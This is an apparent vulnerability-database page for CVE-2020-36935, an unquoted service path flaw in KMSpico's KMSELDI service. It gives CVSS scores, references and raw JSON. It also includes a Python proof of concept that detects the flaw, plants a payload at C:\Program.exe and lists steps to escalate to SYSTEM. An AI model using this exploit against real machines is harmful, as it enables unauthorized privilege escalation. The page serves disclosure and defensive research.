Security Vulnerability Report
中文
CVE-2020-36935 CVSS 7.8 HIGH

CVE-2020-36935

Published: 2026-01-25 14:15:48
Last Modified: 2026-04-15 00:35:42

Description

KMSpico 17.1.0.0 contains an unquoted service path vulnerability in the Service KMSELDI configuration that allows local attackers to potentially execute arbitrary code. Attackers can exploit the unquoted binary path in C:\Program Files\KMSpico\Service_KMS.exe to inject malicious executables and escalate privileges.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

KMSpico 17.1.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2020-36935 PoC - KMSpico Unquoted Service Path # Author: Security Researcher # Target: KMSpico 17.1.0.0 Service KMSELDI # This PoC demonstrates the unquoted service path vulnerability import os import sys import subprocess import time def check_vulnerability(): """Check if the system is vulnerable to CVE-2020-36935""" service_name = "KMSELDI" malicious_path = r"C:\Program.exe" # Check if the vulnerable service exists try: result = subprocess.run( ["sc", "qc", service_name], capture_output=True, text=True ) if result.returncode == 0 and "BINARY_PATH_NAME" in result.stdout: print(f"[+] Service '{service_name}' found") # Check if the path is unquoted if "Program Files" in result.stdout and '"' not in result.stdout: print("[+] VULNERABLE: Service path is unquoted!") print("[+] Malicious executable can be placed at:", malicious_path) return True else: print("[-] Service path appears to be properly quoted") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a simple malicious executable for demonstration""" malicious_path = r"C:\Program.exe" payload = ''' @echo off rem CVE-2020-36935 - Malicious Payload rem This will execute with SYSTEM privileges echo [+] CVE-2020-36935 Payload Executed > C:\\temp\\cve_poc.txt date /t >> C:\\temp\\cve_poc.txt time /t >> C:\\temp\\cve_poc.txt echo [!] Running with elevated privileges >> C:\\temp\\cve_poc.txt ''' try: os.makedirs(r"C:\temp", exist_ok=True) with open(malicious_path, 'w') as f: f.write(payload) print(f"[+] Malicious executable created at: {malicious_path}") print("[!] In real attack, this would be a compiled executable") return True except PermissionError: print("[-] Requires administrator privileges to create malicious executable") return False except Exception as e: print(f"[-] Error: {e}") return False def main(): print("="*60) print("CVE-2020-36935 - KMSpico Unquoted Service Path Checker") print("="*60) if check_vulnerability(): print("\n[*] To exploit this vulnerability:") print(" 1. Place malicious executable at C:\\Program.exe") print(" 2. Wait for service restart or system reboot") print(" 3. Malicious code will execute with SYSTEM privileges") print("\n[*] For demonstration, creating sample payload...") create_malicious_executable() else: print("\n[-] System does not appear to be vulnerable") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2020-36935", "sourceIdentifier": "[email protected]", "published": "2026-01-25T14:15:48.167", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "KMSpico 17.1.0.0 contains an unquoted service path vulnerability in the Service KMSELDI configuration that allows local attackers to potentially execute arbitrary code. Attackers can exploit the unquoted binary path in C:\\Program Files\\KMSpico\\Service_KMS.exe to inject malicious executables and escalate privileges."}, {"lang": "es", "value": "KMSpico 17.1.0.0 contiene una vulnerabilidad de ruta de servicio sin comillas en la configuración del Servicio KMSELDI que permite a atacantes locales ejecutar potencialmente código arbitrario. Los atacantes pueden explotar la ruta binaria sin comillas en C:\\Program Files\\KMSpico\\Service_KMS.exe para inyectar ejecutables maliciosos y escalar privilegios."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://official-kmspico.com/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/49003", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/kmspico-service-kmseldi-unquoted-service-path", "source": "[email protected]"}]}}